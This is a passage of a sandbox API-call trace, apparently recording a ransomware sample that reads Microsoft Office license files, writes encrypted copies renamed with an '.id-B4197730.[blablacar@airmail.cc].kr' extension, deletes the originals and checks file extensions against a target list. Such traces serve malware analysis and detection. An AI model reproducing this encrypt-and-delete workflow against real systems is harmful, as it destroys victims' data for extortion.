hTemplateFile=0x0) returned 0x500 [0209.320] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20844) returned 1 [0209.320] CloseHandle (hObject=0x500) returned 1 [0209.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms")) returned 0x220 [0209.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.627] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.628] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0209.710] GetLastError () returned 0x0 [0209.710] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x516c, lpOverlapped=0x0) returned 1 [0209.715] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5170, lpOverlapped=0x0) returned 1 [0209.716] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.716] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x106, lpOverlapped=0x0) returned 1 [0209.716] SetEndOfFile (hFile=0x3bc) returned 1 [0209.717] CloseHandle (hObject=0x3bc) returned 1 [0209.717] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.717] SetEndOfFile (hFile=0x578) returned 1 [0209.721] CloseHandle (hObject=0x578) returned 1 [0209.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms")) returned 1 [0209.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.724] lstrlenW (lpString=".doc") returned 4 [0209.724] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString=".docx") returned 5 [0209.724] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.724] lstrlenW (lpString=".pdf") returned 4 [0209.724] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString=".xls") returned 4 [0209.724] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString=".xlsx") returned 5 [0209.724] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.724] lstrlenW (lpString=".ppt") returned 4 [0209.724] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.724] lstrlenW (lpString=".zip") returned 4 [0209.724] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString=".rar") returned 4 [0209.724] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString=".bz2") returned 4 [0209.724] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString=".7z") returned 3 [0209.724] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.724] lstrlenW (lpString=".dbf") returned 4 [0209.724] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.724] lstrlenW (lpString=".1cd") returned 4 [0209.724] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.725] lstrlenW (lpString=".jpg") returned 4 [0209.725] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.725] lstrlenW (lpString=".doc") returned 4 [0209.725] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString=".docx") returned 5 [0209.725] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.725] lstrlenW (lpString=".pdf") returned 4 [0209.725] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString=".xls") returned 4 [0209.725] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString=".xlsx") returned 5 [0209.725] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.725] lstrlenW (lpString=".ppt") returned 4 [0209.725] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.725] lstrlenW (lpString=".zip") returned 4 [0209.725] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString=".rar") returned 4 [0209.725] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString=".bz2") returned 4 [0209.725] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString=".7z") returned 3 [0209.725] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.725] lstrlenW (lpString=".dbf") returned 4 [0209.725] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.725] lstrlenW (lpString=".1cd") returned 4 [0209.725] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75 [0209.725] lstrlenW (lpString=".jpg") returned 4 [0209.726] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.726] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.726] lstrlenW (lpString="OneNoteR_OEM_Perp-pl.xrm-ms") returned 27 [0209.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.727] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10643) returned 1 [0209.727] CloseHandle (hObject=0x578) returned 1 [0209.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms")) returned 0x220 [0209.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.728] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.728] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0209.729] GetLastError () returned 0x0 [0209.729] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2993, lpOverlapped=0x0) returned 1 [0209.731] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0209.732] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.732] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10a, lpOverlapped=0x0) returned 1 [0209.732] SetEndOfFile (hFile=0x3bc) returned 1 [0209.733] CloseHandle (hObject=0x3bc) returned 1 [0209.733] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.733] SetEndOfFile (hFile=0x578) returned 1 [0209.736] CloseHandle (hObject=0x578) returned 1 [0209.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms")) returned 1 [0209.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.738] lstrlenW (lpString=".doc") returned 4 [0209.738] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString=".docx") returned 5 [0209.738] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.738] lstrlenW (lpString=".pdf") returned 4 [0209.738] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString=".xls") returned 4 [0209.738] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString=".xlsx") returned 5 [0209.738] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.738] lstrlenW (lpString=".ppt") returned 4 [0209.738] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.738] lstrlenW (lpString=".zip") returned 4 [0209.738] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString=".rar") returned 4 [0209.738] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString=".bz2") returned 4 [0209.738] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString=".7z") returned 3 [0209.738] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.738] lstrlenW (lpString=".dbf") returned 4 [0209.738] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.738] lstrlenW (lpString=".1cd") returned 4 [0209.738] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.738] lstrlenW (lpString=".jpg") returned 4 [0209.738] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.739] lstrlenW (lpString=".doc") returned 4 [0209.739] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString=".docx") returned 5 [0209.739] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.739] lstrlenW (lpString=".pdf") returned 4 [0209.739] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString=".xls") returned 4 [0209.739] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString=".xlsx") returned 5 [0209.739] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.739] lstrlenW (lpString=".ppt") returned 4 [0209.739] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.739] lstrlenW (lpString=".zip") returned 4 [0209.739] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString=".rar") returned 4 [0209.739] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString=".bz2") returned 4 [0209.739] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString=".7z") returned 3 [0209.739] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.739] lstrlenW (lpString=".dbf") returned 4 [0209.739] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.739] lstrlenW (lpString=".1cd") returned 4 [0209.739] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77 [0209.739] lstrlenW (lpString=".jpg") returned 4 [0209.739] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.740] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.740] lstrlenW (lpString="OneNoteR_OEM_Perp-ppd.xrm-ms") returned 28 [0209.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.740] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20904) returned 1 [0209.740] CloseHandle (hObject=0x578) returned 1 [0209.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms")) returned 0x220 [0209.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0209.741] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.741] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0209.743] GetLastError () returned 0x0 [0209.743] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x51a8, lpOverlapped=0x0) returned 1 [0209.970] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0209.971] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.971] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10c, lpOverlapped=0x0) returned 1 [0209.971] SetEndOfFile (hFile=0x3bc) returned 1 [0209.972] CloseHandle (hObject=0x3bc) returned 1 [0209.972] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.972] SetEndOfFile (hFile=0x578) returned 1 [0209.975] CloseHandle (hObject=0x578) returned 1 [0209.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms")) returned 1 [0209.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.977] lstrlenW (lpString=".doc") returned 4 [0209.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString=".docx") returned 5 [0209.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.977] lstrlenW (lpString=".pdf") returned 4 [0209.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString=".xls") returned 4 [0209.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString=".xlsx") returned 5 [0209.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.977] lstrlenW (lpString=".ppt") returned 4 [0209.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.977] lstrlenW (lpString=".zip") returned 4 [0209.977] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString=".rar") returned 4 [0209.977] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString=".bz2") returned 4 [0209.977] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString=".7z") returned 3 [0209.977] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.977] lstrlenW (lpString=".dbf") returned 4 [0209.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.977] lstrlenW (lpString=".1cd") returned 4 [0209.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.978] lstrlenW (lpString=".jpg") returned 4 [0209.978] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.978] lstrlenW (lpString=".doc") returned 4 [0209.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString=".docx") returned 5 [0209.978] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.978] lstrlenW (lpString=".pdf") returned 4 [0209.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString=".xls") returned 4 [0209.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString=".xlsx") returned 5 [0209.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.978] lstrlenW (lpString=".ppt") returned 4 [0209.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.978] lstrlenW (lpString=".zip") returned 4 [0209.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString=".rar") returned 4 [0209.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString=".bz2") returned 4 [0209.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString=".7z") returned 3 [0209.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.978] lstrlenW (lpString=".dbf") returned 4 [0209.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.978] lstrlenW (lpString=".1cd") returned 4 [0209.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78 [0209.978] lstrlenW (lpString=".jpg") returned 4 [0209.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.979] lstrcmpiW (lpString1=".xrm-ms", 